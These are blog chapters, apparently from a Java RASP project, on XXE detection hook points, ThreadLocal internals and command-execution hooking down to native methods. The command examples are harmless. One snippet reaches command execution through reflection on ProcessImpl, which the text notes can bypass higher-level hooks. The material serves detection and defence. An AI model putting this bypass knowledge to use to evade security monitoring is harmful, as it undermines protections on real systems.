org.apache.xerces.impl.XMLEntityManager#startEntity(String, org.apache.xerces.xni.parser.XMLInputSource, boolean, boolean)

• Apache Xerces tool within JDK

com.sun.org.apache.xerces.internal.impl.XMLEntityManager#startEntity(boolean, String, com.sun.org.apache.xerces.internal.xni.parser.XMLInputSource, boolean, boolean)

It can be observed that besides the difference in package names, there are also some variations in the parameter lists between the two hook points mentioned above.

• Open-source tool wstx

com.ctc.wstx.sr.StreamScanner#expandEntity(com.ctc.wstx.ent.EntityDecl, boolean)

14.4.2 Detection Algorithm

XXE vulnerabilities in Java have limited exploitable protocols. All supported protocols are under the sun.net.www.protocol package. The protocols supported by JDK8 and JDK11 are as follows:

JDK11: jmod, jrt, mailto, file, ftp, http, https, jar;

JDK8: mailto, netdoc, file, ftp, http, https, jar;

The detection can be performed by obtaining the protocol name, path, and host name of external entity resources respectively. The parameter acquisition and detection are as follows:

The method to obtain parameters is shown below:

The algorithm for parameter detection is as follows:

Tags:

• xxe
• xml injection
• xxe injection

ThreadLocal Thread Variables

Apr 12, 2025

ven coding

Dev @ Okrasp

Since JDK 1.2, Java has provided java.lang.ThreadLocal. ThreadLocal offers each thread its own independent variable copy, enabling data isolation between threads. Each thread can access its internal copy variable, thus eliminating thread safety issues. ThreadLocal is also an important utility class for implementing thread context passing. This chapter will introduce ThreadLocal’s APIs, implementation principles, typical applications, and memory leakage issues.

5.1 Common APIs and Usage

The API documentation for ThreadLocal is shown in Figure 5-1 below. The main methods include get, initialValue, remove, set, and withInitial.

Figure 5-1 ThreadLocal’s API

5.1.1 Common APIs

• initialValue()

ThreadLocal provides two ways of instantiation: extending the ThreadLocal class and overriding the initialValue() method to define initialization logic, or creating an anonymous subclass of ThreadLocal and initializing it in its constructor. Below are example codes for both approaches:

// Method 1: Initialize using the initialValue() method
public class MyThreadLocal extends ThreadLocal<String> {
    @Override
    protected String initialValue() {
        return "Initial Value";
    }
}

// Method 2: Create an anonymous subclass and initialize in the constructor
ThreadLocal<String> myThreadLocal = new ThreadLocal<String>() {
    @Override
    protected String initialValue() {
        return "Initial Value";
    }
};

// Or initialize directly during creation
ThreadLocal<String> myThreadLocal = ThreadLocal.withInitial(() -> "Initial Value");

The withInitial() method, introduced in Java 8, is a simplified constructor that allows assignment using a Lambda expression.

• get()

To retrieve a value from ThreadLocal, call the get method:

MyThreadLocal myThreadLocal = new MyThreadLocal();
// Get the current thread's local value; initial call triggers initialization
String value = myThreadLocal.get();

• remove()

To remove a value from ThreadLocal, call the remove method:

myThreadLocal.remove();

• set()

Set the value of the current thread’s thread-local variable:

myThreadLocal.set("New Value");

5.1.2 Basic Usage

The following example demonstrates the basic usage of ThreadLocal.

public class ThreadLocalExample {```
    // Create a ThreadLocal variable to store thread IDs
    private static final ThreadLocal<Integer> threadId = new ThreadLocal<>() {
        @Override
        protected Integer initialValue() {
            // Initial value set to current thread's ID
            return Thread.currentThread().getId();
        }
    };

    public static void main(String[] args) throws InterruptedException {
        // Create and start several threads
        for (int i = 0; i < 5; i++) {
            new Thread(() -> {
                // Get and print current thread's ID
                System.out.println("Thread ID: " + threadId.get());
            }).start();
        }
    }
}

In this example, each thread will print its own thread ID rather than other threads’ IDs.

The application scenarios of ThreadLocal mainly fall into two categories:

• Avoiding the need to pass objects through multiple method layers, breaking hierarchical constraints

For example, a unique traceId in request call chains is needed in many places, and passing it down layer by layer is cumbersome. In such cases, the traceId can be stored in ThreadLocal and retrieved directly where needed.

• Creating object copies to reduce initialization operations while ensuring thread safety

Scenarios like database connections, Spring transaction management, and SimpleDateFormat for date formatting all use ThreadLocal. This avoids initializing an object in every method while maintaining thread safety in multi-threaded environments.

Here’s code demonstrating how ThreadLocal ensures thread safety when using SimpleDateFormat for date formatting:

public class ThreadLocalDemo {
    // Create ThreadLocal
    static ThreadLocal<SimpleDateFormat> threadLocal =
            ThreadLocal.withInitial(() -> new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"));
```    public static void main(String[] args) {
        IntStream.range(0, 5).forEach(i -> {
            // Create 5 threads, each retrieving SimpleDateFormat from threadLocal and formatting the date
            new Thread(() -> {
                try {
                    System.out.println(threadLocal.get().parse("2024-03-29 15:11:07"));
                } catch (ParseException e) {
                    throw new RuntimeException(e);
                }
            }).start();
        });
    }
}

5.2 Source Code Analysis

5.2.1 UML Diagram of ThreadLocal Class

Using Intellij Idea’s UML plugin, the ThreadLocal class diagram is drawn as shown in Figure 5-2 below.

Figure 5-2 UML Diagram of ThreadLocal Class

In Figure 5-2, ThreadLocalMap is a static inner class of ThreadLocal, while Entry is a static inner class of ThreadLocalMap and inherits from the WeakReference class. ThreadLocal has two subclasses: SuppliedThreadLocal and InheritableThreadLocal. The Thread class holds a ThreadLocalMap object.

5.2.2 ThreadLocal Source Code Analysis

• Field Attributes

// Each ThreadLocal instance has a corresponding threadLocalHashCode
// This value will be used to locate the ThreadLocal's corresponding value in ThreadLocalMap
private final int threadLocalHashCode = nextHashCode();

// Initial value for calculating hash values of ThreadLocal instances
private static AtomicInteger nextHashCode = new AtomicInteger();

// Increment for calculating hash values of ThreadLocal instances
private static final int HASH_INCREMENT = 0x61c88647;

Each ThreadLocal instance has a threadLocalHashCode value, which is calculated from nextHashCode and the constant HASH_INCREMENT.

• Inner Class SuppliedThreadLocal

static final class SuppliedThreadLocal<T> extends ThreadLocal<T> {

    private final Supplier<? extends T> supplier;```
SuppliedThreadLocal(Supplier<? extends T> supplier) {
        this.supplier = Objects.requireNonNull(supplier);
    }

    // Override initialValue() to set initial value
    @Override
    protected T initialValue() {
        // Supplier cannot be null
        return supplier.get();
    }
}

SuppliedThreadLocal is a new internal class added in JDK8, which simply extends ThreadLocal’s method for initializing values, allowing the use of Lambda expressions introduced in JDK8 for assignment. Note that the Supplier functional interface does not allow null values. For usage examples, please refer to the demonstration above.

• Constructor

public ThreadLocal() {
}

As shown, the constructor performs no operations.

• nextHashCode()

private static int nextHashCode() {
    return nextHashCode.getAndAdd(HASH_INCREMENT);
}

Generates the corresponding hashcode when creating a ThreadLocal instance, atomically increasing by HASH_INCREMENT each time.

• initialValue()

protected T initialValue() {
    return null;
}

Returns the initial value set for the current thread’s ThreadLocal. This method is called when the thread first invokes ThreadLocal.get(). If a value has already been set via the set() method, this method won’t be called. Custom implementation is required to achieve tailored operations, meaning you can customize it when you want ThreadLocal to initialize different values in different threads.

• withInitial()

public static <S> ThreadLocal<S> withInitial(Supplier<? extends S> supplier) {
    return new SuppliedThreadLocal<>(supplier);
}

Lambda expression assignment. Refer to the example above for usage.+ get()

public T get() {
    // Get current thread
    Thread t = Thread.currentThread();
    // Get the ThreadLocalMap held by current thread
    ThreadLocalMap map = getMap(t);
    if (map != null) {
        // Get the Entry corresponding to current ThreadLocal in ThreadLocalMap
        ThreadLocalMap.Entry e = map.getEntry(this);
        // If not null, get the corresponding value
        if (e != null) {
            T result = (T)e.value;
            return result;
        }
    }
    // Called when map is not initialized or current ThreadLocal's Entry is null
    return setInitialValue();
}

Retrieves the ThreadLocalMap object of the current thread’s Thread object and gets the Entry corresponding to the current ThreadLocal. If the ThreadLocalMap hasn’t been initialized or the current ThreadLocal’s Entry is null, it calls setInitialValue(), demonstrating lazy loading where initialization occurs only when needed.

• setInitialValue()

private T setInitialValue() {
    // Call custom initialization method
    T value = initialValue();
    Thread t = Thread.currentThread();
    ThreadLocalMap map = getMap(t);
    if (map != null)
        // If already initialized, perform set operation
        map.set(this, value);
    else
        // If not initialized, initialize and assign value
        createMap(t, value);
    return value;
}

Initialization operation that returns the initialized value.

• set(T value)

The set operation is similar to setInitialValue, except the value is passed in externally.

public void set(T value) {
    Thread t = Thread.currentThread();
    ThreadLocalMap map = getMap(t);
    if (map != null)
        map.set(this, value);
    else
        createMap(t, value);
}

• remove()```java public void remove() { ThreadLocalMap m = getMap(Thread.currentThread()); if (m != null) { // Remove via ThreadLocalMap’s remove() method m.remove(this); } }

Removes the Entry corresponding to the current ThreadLocal in the ThreadLocalMap of the current thread. If the current thread calls get() after remove(), it will re-invoke initialValue(). Refer to the get() method above.

+ getMap()

Gets the threadLocals of the thread.
```java
ThreadLocalMap getMap(Thread t) {
    return t.threadLocals;
}

• createMap()

Creates (initializes) ThreadLocalMap and sets the initial value via firstValue

void createMap(Thread t, T firstValue) {
    t.threadLocals = new ThreadLocalMap(this, firstValue);
}

5.3 Thread Association

5.3.1 Thread Context Loss

ThreadLocal effectively solves the context passing problem within a single thread, but in asynchronous scenarios using multiple threads, thread context can be lost. The following code sets a thread variable in the main thread, then starts a child thread that attempts to retrieve the thread variable’s value.

public class ThreadLocalDemo {

    public static ThreadLocal<Integer> context = new ThreadLocal<>();

    public static void main(String[] args) {
        // Set thread variable value (main thread)
        context.set(1000);

        // Get value from thread variable
        Integer ctx = context.get();
        System.out.println("ctx= " + ctx);

        // The thread is a child thread created by the main thread
        Thread thread = new Thread(new Runnable() {
            @Override
            public void run() {
                Integer ctx = context.get();
                System.out.println("ctx= " + ctx);
            }
        });

        thread.start();
    }
}

The output shows that the child thread cannot access the thread variable set by the main thread:

ctx= 1000
ctx= null
```Judging from the name and purpose of the thread variable, it is expected for the child thread to obtain a null value. However, from the perspective of thread context passing functionality, this does not meet the requirements. Therefore, Java officially provides the `InheritableThreadLocal` subclass of `ThreadLocal` to address the issue of context passing loss when creating new threads.

### 5.3.2 InheritableThreadLocal

When using `ThreadLocal`, child threads cannot access the parent thread's local variables. `InheritableThreadLocal` effectively solves this problem. The source code of `InheritableThreadLocal` is as follows:

```java
public class InheritableThreadLocal<T> extends ThreadLocal<T> {

    // Receives the value of the parent thread's local variable
    // This method is called when the parent thread creates a child thread
    protected T childValue(T parentValue) {
        // Here, it directly returns the original value
        return parentValue;
    }

    // Uses inheritableThreadLocals to store thread variables
    ThreadLocalMap getMap(Thread t) {
       return t.inheritableThreadLocals;
    }

    // Initializes inheritableThreadLocals
    void createMap(Thread t, T firstValue) {
        t.inheritableThreadLocals = new ThreadLocalMap(this, firstValue);
    }
}

Unlike ThreadLocal, when using an InheritableThreadLocal object, variables are stored in inheritableThreadLocals. Below are the definitions of the two variables in the Thread class:

ThreadLocal.ThreadLocalMap threadLocals = null;
ThreadLocal.ThreadLocalMap inheritableThreadLocals = null;

Next, let’s examine how the thread variable copying process is implemented during thread creation:

private Thread(ThreadGroup g, Runnable target, String name,
                long stackSize, AccessControlContext acc,
                boolean inheritThreadLocals) {
     this.name = name;
``````java
     Thread parent = currentThread();
     // Security and validation code omitted...

     // Standard thread initialization operations
     this.group = g;
     this.daemon = parent.isDaemon();
     this.priority = parent.getPriority();
     this.target = target;
     setPriority(priority);

     // Copying thread variable map
     if (inheritThreadLocals && parent.inheritableThreadLocals != null){
         this.inheritableThreadLocals =
             ThreadLocal.createInheritedMap(parent.inheritableThreadLocals);
     }

     this.stackSize = stackSize;

     this.tid = nextThreadID();
}

The thread variable map copying occurs in ThreadLocal.createInheritedMap, which essentially creates a new map and copies the values.

private ThreadLocalMap(ThreadLocalMap parentMap) {
    Entry[] parentTable = parentMap.table;
    int len = parentTable.length;
    setThreshold(len);
    table = new Entry[len];

    // Traverse parent thread's table
    for (Entry e : parentTable) {
        if (e != null) {
            ThreadLocal<Object> key = (ThreadLocal<Object>) e.get();
            if (key != null) {
                // Assign value
                Object value = key.childValue(e.value);
                Entry c = new Entry(key, value);
                int h = key.threadLocalHashCode & (len - 1);
                while (table[h] != null)
                    h = nextIndex(h, len);
                table[h] = c;
                size++;
            }
        }
    }
}

5.3.3 transmittable-thread-local

JDK’s InheritableThreadLocal class enables value transmission from parent threads to child threads. For thread pool scenarios where threads are created and pooled for reuse, the ThreadLocal value transmission between parent-child threads becomes meaningless. What applications actually need is to transmit the ThreadLocal values from when tasks are submitted to the thread pool to when the tasks are executed.

TransmittableThreadLocal (TTL) is an open-source project by Alibaba that provides ThreadLocal value transmission functionality when using execution components like thread pools that involve pooled and reused threads, solving the context transmission problem in asynchronous execution.

TransmittableThreadLocal inherits from InheritableThreadLocal and has a similar usage pattern. Compared to InheritableThreadLocal, it adds a protected transmitteeValue() method to customize how ThreadLocal values are transmitted from task submission to task execution in thread pools.

5.3.3.1 Simple Usage

• Parent thread transmitting values to child thread

TransmittableThreadLocal<String> context = new TransmittableThreadLocal<>();

// =====================================================

// Set in parent thread
context.set("value-set-in-parent");

// =====================================================

// Can be read in child thread, value is "value-set-in-parent"
String value = context.get();

This is actually InheritableThreadLocal’s functionality, which can be achieved using InheritableThreadLocal.

5.3.3.2 Value Transmission in Thread Pools

• Decorating Runnable and Callable

TransmittableThreadLocal<String> context = new TransmittableThreadLocal<>();

// =====================================================

// Set in parent thread
context.set("value-set-in-parent");

Runnable task = new RunnableTask();
// Additional processing to generate decorated object ttlRunnable
Runnable ttlRunnable = TtlRunnable.get(task);
executorService.submit(ttlRunnable);

// =====================================================

// Can be read in Task, value is "value-set-in-parent"
String value = context.get();

The above demonstrates Runnable handling, Callable processing is similar.

TransmittableThreadLocal<String> context = new TransmittableThreadLocal<>();

// =====================================================```markdown
// Set in parent thread
context.set("value-set-in-parent");

Callable call = new CallableTask();
// Additional processing to create decorated object ttlCallable
Callable ttlCallable = TtlCallable.get(call);
executorService.submit(ttlCallable);

// =====================================================

// Can be read in Call, value is "value-set-in-parent"
String value = context.get();

• Decorating Thread Pools

Eliminates the need to decorate Runnable and Callable each time they are passed to the thread pool, as this logic can be handled within the thread pool. Example:

ExecutorService executorService = ...
// Additional processing to create decorated executorService
executorService = TtlExecutors.getTtlExecutorService(executorService);

TransmittableThreadLocal<String> context = new TransmittableThreadLocal<>();

// =====================================================

// Set in parent thread
context.set("value-set-in-parent");

Runnable task = new RunnableTask();
Callable call = new CallableTask();
executorService.submit(task);
executorService.submit(call);

// =====================================================

// Can be read in Task or Call, value is "value-set-in-parent"
String value = context.get();

• Using Java Agent to Decorate JDK Thread Pool Implementation Classes

Compared to the SDK approach, this method enables transparent transmission of thread pool context. Business code requires no decoration of Runnable or thread pools, achieving non-intrusive application code.

Usage requires adding a premain agent to the application startup parameters, which modifies thread bytecode before application startup. Integration method:

java -javaagent:path/to/transmittable-thread-local-2.x.y.jar springboot-application.jar

Note: If multiple JavaAgents exist, the transmittable Agent parameter must precede other Agent parameters.

5.4 Memory Leaks

The saying “Water can carry a boat but also overturn it” aptly describes ThreadLocal usage. In practice, the author has encountered numerous ThreadLocal issues, such as memory leaks, dirty data, and thread context loss, particularly in thread pool scenarios where improper usage can easily lead to production incidents.

5.4.1 Causes of Memory Leaks

ThreadLocal memory leaks typically occur due to:

• ThreadLocal variables not being explicitly removed
• ThreadLocal variables persistently existing in ThreadLocalMap

Each thread has a ThreadLocalMap, which can store multiple ThreadLocal variables. When a ThreadLocal variable is not removed, the objects it references will remain in the thread's ThreadLocalMap. This causes the ThreadLocalMap to grow excessively large, occupying significant memory space and eventually resulting in a memory leak.

### 5.4.2 Detection and Cleanup of Memory Leaks

Generally, after completing the use of thread variables, the `remove()` method should be called immediately to clean up the variables. It is also advisable to place the `remove()` method in a `finally` block to ensure it is always executed. As shown below:

```java
ThreadLocal<Object> threadlocal = new ThreadLocal<>();
try {
    Object value = new Object();
    threadlocal.set(value);
    // Business logic...
} finally {
    // Ensure cleanup is always performed
    threadlocal.remove();
}

However, the above approach is only suitable for very simple scenarios. In complex situations, such as when multiple thread variables are involved or thread variables are used in multiple places, this method becomes inadequate. Below, we introduce how open-source middleware detects and cleans up thread variables.

5.4.3 Memory Leak Detection in Tomcat

In previous chapters, we analyzed Tomcat’s process of unloading WAR packages. During WAR package unloading, the stop method of the WAR’s class loader, WebappClassLoaderBase, is called to close and clean up resources. This includes checking whether user-created thread variables have been properly cleared. Let’s examine the code:> Source: apache-tomcat-10.1.13-src/java/org/apache/catalina/loader/WebappClassLoaderBase.java

private void checkThreadLocalsForLeaks() {
     // Get all JVM threads
     Thread[] threads = getThreads();
     try {
         // Use reflection to access threadLocals and inheritableThreadLocals
         Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
         threadLocalsField.setAccessible(true);
         Field inheritableThreadLocalsField = Thread.class.getDeclaredField("inheritableThreadLocals");
         inheritableThreadLocalsField.setAccessible(true);

         // Use reflection to access the table field of ThreadLocalMap
         Class<?> tlmClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
         Field tableField = tlmClass.getDeclaredField("table");
         tableField.setAccessible(true);

         // Use reflection to access expungeStaleEntries method, which clears all stale entries
         Method expungeStaleEntriesMethod = tlmClass.getDeclaredMethod("expungeStaleEntries");
         expungeStaleEntriesMethod.setAccessible(true);

         // Iterate through all threads to clear references
         for (Thread thread : threads) {
             Object threadLocalMap;
             if (thread != null) {```
                 // Clear objects referenced by the threadLocalsField
                 threadLocalMap = threadLocalsField.get(thread);
                 if (null != threadLocalMap) {
                     expungeStaleEntriesMethod.invoke(threadLocalMap);
                     // Verify complete cleanup - if any entry's key or value object's class is loaded by the current WAR package's classloader,
                     // it indicates a memory leak still exists and requires remediation.
                     checkThreadLocalMapForLeaks(threadLocalMap, tableField);
                 }

                 // Clear objects referenced by the inheritableThreadLocalsField
                 threadLocalMap = inheritableThreadLocalsField.get(thread);
                 if (null != threadLocalMap) {
                     expungeStaleEntriesMethod.invoke(threadLocalMap);
                     checkThreadLocalMapForLeaks(threadLocalMap, tableField);
                 }
             }
         }
     } catch (Throwable t) {
        // ...
     }
 }

The above code primarily iterates through all threads, then analyzes each thread’s ThreadLocalMap objects (including both threadLocals and inheritableThreadLocals) to detect whether thread variables have been properly cleared.

It should be noted that JDK 17 and later versions by default prohibit cross-package reflection operations. Therefore, applications need to add --add-opens=java.base/java.lang=ALL-UNNAMED to JVM parameters to lift this restriction.

Tags:

• ThreadLocal

Command Execution Principles and Detection

Apr 11, 2025

ven coding

Dev @ Okrasp

Java command execution vulnerabilities account for a significant proportion of disclosed vulnerabilities. This chapter will analyze the general principles of command execution, selection of Hook points, vulnerability cases, and detection algorithms.

9.1 Command Execution Principles

9.1.1 Command Execution APIs

Java command execution methods include:

• java.lang.Runtime.exec()
• java.lang.ProcessBuilder.start()
• java.lang.ProcessImpl.start()
• Calling dynamic link libraries via JNI (this method belongs to JNI injection and won’t be analyzed here)

The most commonly used API for command execution in Java is Runtime.getRuntime().exec(), with usage as follows:

Runtime.getRuntime().exec("touch /tmp/1.txt");

In fact, the Runtime class has 6 overloaded exec methods, as shown below:

public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)

The first 5 methods ultimately call the last method, so only the third and sixth methods are introduced here.

public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
    throw new IllegalArgumentException("Empty command");
    // Parse the string into token stream
    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
    cmdarray[i] = st.nextToken();
    // Call overloaded exec method
    return exec(cmdarray, envp, dir);
}

• command: The string of the command to be executed, which will be parsed into a token stream;

• envp: Environment variables for the child process, represented as a string array where each element follows the name=value format. If the child process shares the same environment variables as the current process, this parameter is null;

• dir: The working directory of the child process. If it’s the same as the current process’s working directory, this parameter is null;All exec methods ultimately call the following overloaded method:

public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

From the source code, we can see that the exec method actually executes commands by creating a ProcessBuilder object and then calling its start method.

9.1.2 Underlying Call Chain

The commonly used command execution APIs are java.lang.Runtime.exec() and java.lang.ProcessBuilder.start(). In addition, there are more low-level methods such as java.lang.ProcessImpl.start(). Below are the common ways to execute commands in Java:

import java.lang.reflect.Method;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {

        // Command definition methods
        String command = "touch /tmp/1.txt /tmp/2.txt /tmp/3.txt";
        String[] commandarray = {"touch", "/tmp/1.txt", "/tmp/2.txt", "/tmp/3.txt"};

        // Command execution method 1
        Runtime.getRuntime().exec(command);

        // Command execution method 2
        new ProcessBuilder(commandarray).start();```
        // Command execution method 3
        Class clazz = Class.forName("java.lang.ProcessImpl");
        Method method = clazz.getDeclaredMethod("start", new String[]{}.getClass(), Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        method.setAccessible(true);
        method.invoke(null, commandarray, null, ".", null, true);
    }
}

Tracing the source code reveals that all command executions ultimately call the method java.lang.UNIXProcess.forkAndExec. Let’s examine its code:

Code location: jdk11/src/java.base/unix/classes/java/lang/ProcessImpl.java

private native int forkAndExec(int mode, byte[] helperpath,
                               byte[] prog,
                               byte[] argBlock, int argc,
                               byte[] envBlock, int envc,
                               byte[] dir,
                               int[] fds,
                               boolean redirectErrorStream)
    throws IOException;

This is a native method. In IDEA, debug the above command execution code and throw an exception within the forkAndExec method, as shown in Figure 9-1 below.

Figure 9-1 Debugging the underlying command execution code

The exception call stack is shown below:

Exception in thread "main" java.lang.SecurityException: rce block by rasp!
  at java.lang.UNIXProcess.forkAndExec(Native Method)
  at java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
  at java.lang.ProcessImpl.start(ProcessImpl.java:134)
  at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
  at java.lang.Runtime.exec(Runtime.java:621)
  at java.lang.Runtime.exec(Runtime.java:451)
  at java.lang.Runtime.exec(Runtime.java:348)
  at Main.main(Main.java:12)

The above test code runs on Unix systems, where the final class for command execution is java.lang.UNIXProcess. If executed on Windows systems, the call stack differs slightly. Figure 9-2 summarizes the command execution call process across different operating systems.

Figure 9-2 Command execution method call process in Windows and Linux operating systems

9.1.3 Selection of Hook Points

Traditional RASP typically selects classes at the first level shown in the diagram above, namely java.lang.ProcessImpl (JDK9 and above) and java.lang.UNIXProcess (JDK8 and below), targeting their <init> and start methods. Since these are Java-level methods, their bytecode can be directly modified to add detection logic. However, the final method for command execution is forkAndExec, meaning that only hooking start methods leaves potential bypass possibilities (refer to command execution bypass cases for details, not expanded here).

Therefore, when selecting hook points for command execution, theoretically the lower the level the better if performance is not a concern. However, third-level methods are implemented in C/C++ and cannot be hooked via Java Agent. We must settle for second-level methods as hook points.

Thus, RASP’s command execution hook points should at least include:

• For Unix versions of JDK:
  • JDK 8 and below: Hook point is java.lang.UNIXProcess.forkAndExec
  • JDK above 8: Hook point is java.lang.ProcessImpl.forkAndExec
• For Windows versions of JDK: Hook point is java.lang.ProcessImpl.create (no JDK version differences on Windows systems)

9.2 Native Command Execution in Java

From previous chapters, we’ve learned that RASP fundamentally works by modifying target method bytecode to insert detection logic at method entry, return, and exception throwing points.

Among Java methods, there’s a special category that lacks method bodies, including interface methods, abstract methods, and native methods. Native methods serve as interfaces for Java to call non-Java code, typically core JVM methods like the native command execution methods discussed earlier. This section explains RASP’s principles for modifying native methods and provides a demo implementation.### 9.2.1 Basic Principles

• Native methods and C++ implementation parsing rules

Here we use command execution methods as an example. First, let’s examine the native method for command execution and its local implementation.

Source location: jdk11/src/java.base/unix/classes/java/lang/ProcessImpl.java

private native int forkAndExec(int mode, byte[] helperpath,
                                   byte[] prog,
                                   byte[] argBlock, int argc,
                                   byte[] envBlock, int envc,
                                   byte[] dir,
                                   int[] fds,
                                   boolean redirectErrorStream)
        throws IOException;

The corresponding native method implementation (hotspot) is as follows:

Source location: jdk11/src/java.base/unix/native/libjava/ProcessImpl_md.c

JNIEXPORT jint JNICALL
        Java_java_lang_ProcessImpl_forkAndExec(JNIEnv *env,
        jobject process,
        jint mode,
        jbyteArray helperpath,
        jbyteArray prog,
        jbyteArray argBlock, jint argc,
        jbyteArray envBlock, jint envc,
        jbyteArray dir,
        jintArray std_fds,
        jboolean redirectErrorStream){
    // Not the focus of this article, code omitted...
}

We can see that the implementation name of the native method is composed of the Java class’s package name and method name. This rule is called standard resolution.

• Setting Prefix for native method resolution

Modifying bytecode mainly relies on methods like addTransformer and retransformClasses in the java.lang.instrument.Instrumentation API interface. If we delve deeper into the Instrumentation API, we also notice the following method exists:

Source location: jdk11/src/java.instrument/share/classes/java/lang/instrument/Instrumentation.java```java void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix);

As indicated by the method's documentation, when standard resolution fails, the corresponding native method implementation can be located by adding a prefix to the Java name.
This feature is disabled by default and must be enabled in the `MANIFEST.MF` configuration file of the JavaAgent package with:
`Can-Set-Native-Method-Prefix: true`. An example MANIFEST.MF is shown below:
```java
Manifest-Version: 1.0
Premain-Class: com.jrasp.example.agent.Agent
Agent-Class: com.jrasp.example.agent.Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true

The above MANIFEST.MF file not only configures the JavaAgent entry class but also enables three switches: Can-Redefine-Classes, Can-Retransform-Classes, and Set-Native-Method-Prefix.
You can use the isNativeMethodPrefixSupported method in the Instrumentation API to check whether this feature is enabled for the Java Agent.

• Example of Native Method Resolution

Consider the following native method, whose implementation corresponds to standard resolution:

native boolean foo(int x);  ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);

If a ClassTransformer is added to the JVM with setNativeMethodPrefix set to wrapped_, the resolution rule when standard resolution fails is as follows:

native boolean wrapped_foo(int x);  ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);

Figure 9-3 Two Resolution Rules for Native Methods

Method linking can occur in two ways: explicit resolution using the JNI function RegisterNatives and normal automatic resolution.
For RegisterNatives, the JVM will attempt this association:

method(foo) -> nativeImplementation(foo)

When this fails, the specified prefix will be prepended to the method name to achieve correct resolution:

method(wrapped_foo) -> nativeImplementation(foo)
```For automatic resolution, the JVM will attempt:
```java
method(wrapped_foo) -> nativeImplementation(wrapped_foo)

If this fails, it will remove the specified prefix from the implementation name and retry resolution, resulting in correct resolution:

method(wrapped_foo) -> nativeImplementation(foo)

If one of the above mappings is found, execution proceeds. Otherwise, since no suitable resolution method exists, this process is declared failed.

• Multiple Transformer Scenarios

The virtual machine resolves transformers in the order they were added to the JVM (i.e., the sequence of addTransformer calls). Suppose three transformers need to be added with their respective orders and prefixes: transformer1 with prefix1_, transformer2 with prefix2_, and transformer3 with prefix3_. The virtual machine’s resolution rule is:

native boolean prefix3_prefix2_prefix1_foo(int x);  ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);

9.2.2 Modifying Native Methods Using ASM

Since native methods cannot have instructions directly inserted (they lack bytecode), they must be wrapped with non-native methods that can contain instructions. For example, given the following native method:

native boolean foo(int x);

We can transform the bytecode file into:

boolean foo(int x) {
   //... record entry to foo ...
   return wrapped_foo(x);
}

native boolean wrapped_foo(int x);

And set the native method resolution rule as:

method(wrapped_foo) -> nativeImplementation(foo)

Thus, the native method hooking strategy can be broken down into three steps:

• Convert the original native method to a non-native method and add a method body;
• Call the wrapped native method within the method body;
• Add the wrapper native method;

The following code demonstrates using ASM to modify command execution methods. Key code snippets:

Agent startup class code is shown below:

public class Agent {

    public static void premain(String args, Instrumentation inst) {
        main(args, inst);
    }

    public static void agentmain(String args, Instrumentation inst) {
        main(args, inst);
    }```
    public static void main(String args, Instrumentation inst) {
        System.out.println(String.format("%s  INFO [rasp] %s ",
                new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.sss").format(new Date()), "enter agent"));
        // Register ClassFileTransformer object
        RaspClassFileTransformer raspClassFileTransformer = new RaspClassFileTransformer(inst);
        inst.addTransformer(raspClassFileTransformer);
    }
}

After loading the Agent, register a ClassFileTransformer object with JVM’s Instrumentation.

Here’s the implementation of ClassFileTransformer code as follows:

public class RaspClassFileTransformer implements ClassFileTransformer {

    private final Instrumentation inst;

    public RaspClassFileTransformer(Instrumentation inst) {
        this.inst = inst;
    }

    @Override
    public byte[] transform(ClassLoader loader, String className,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {
        // Match specified classes
        if ("java/lang/UNIXProcess".equals(className) || "java/lang/ProcessImpl".equals(className)) {
            final ClassReader cr = new ClassReader(classfileBuffer);
            final ClassWriter cw = new ClassWriter(cr, COMPUTE_FRAMES | COMPUTE_MAXS);
            cr.accept(new RaspClassVisitor(ASM9, cw, cr.getClassName(), inst, this), EXPAND_FRAMES);
            return dumpClassIfNecessary(cr.getClassName(), cw.toByteArray());
        }```
        return null;
    }

    // Dump modified bytecode to file
    private static byte[] dumpClassIfNecessary(String className, byte[] data) {
        final File dumpClassFile = new File("./rasp-class-dump/" + className + ".class");
        final File classPath = new File(dumpClassFile.getParent());
        if (!classPath.mkdirs() && !classPath.exists()) {
            return data;
        }
        try {
            FileUtils.writeByteArrayToFile(dumpClassFile, data);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return data;
    }

}

In the transform method, when command execution related classes are matched, it enters the method modification process. The code that modifies the target method’s bytecode is in RaspClassVisitor. Let’s look at its implementation:

public class RaspClassVisitor extends ClassVisitor {
    private RaspMethod method = null;
    private final String targetClassInternalName;
    private final Instrumentation inst;
    private RaspClassFileTransformer raspClassFileTransformer;
    private final static String NATIVE_PREFIX = "$$JRASP$$_"; // Native method prefix

    public RaspClassVisitor(final int api, final ClassVisitor cv, String targetClassInternalName, Instrumentation inst,
                            RaspClassFileTransformer raspClassFileTransformer) {
        super(api, cv);
        this.targetClassInternalName = targetClassInternalName;
        this.inst = inst;
        this.raspClassFileTransformer = raspClassFileTransformer;
    }
``````java
@Override
public MethodVisitor visitMethod(final int access, final String name, final String desc, final String signature, final String[] exceptions) {
    if ("forkAndExec".equals(name)) { // Match specified method
        // Set native method parsing prefix
        if (inst.isNativeMethodPrefixSupported()) {
            inst.setNativeMethodPrefix(raspClassFileTransformer, NATIVE_PREFIX);
        } else {
            throw new UnsupportedOperationException("Native Method Prefix Unspported");
        }
        // Modify method access modifier
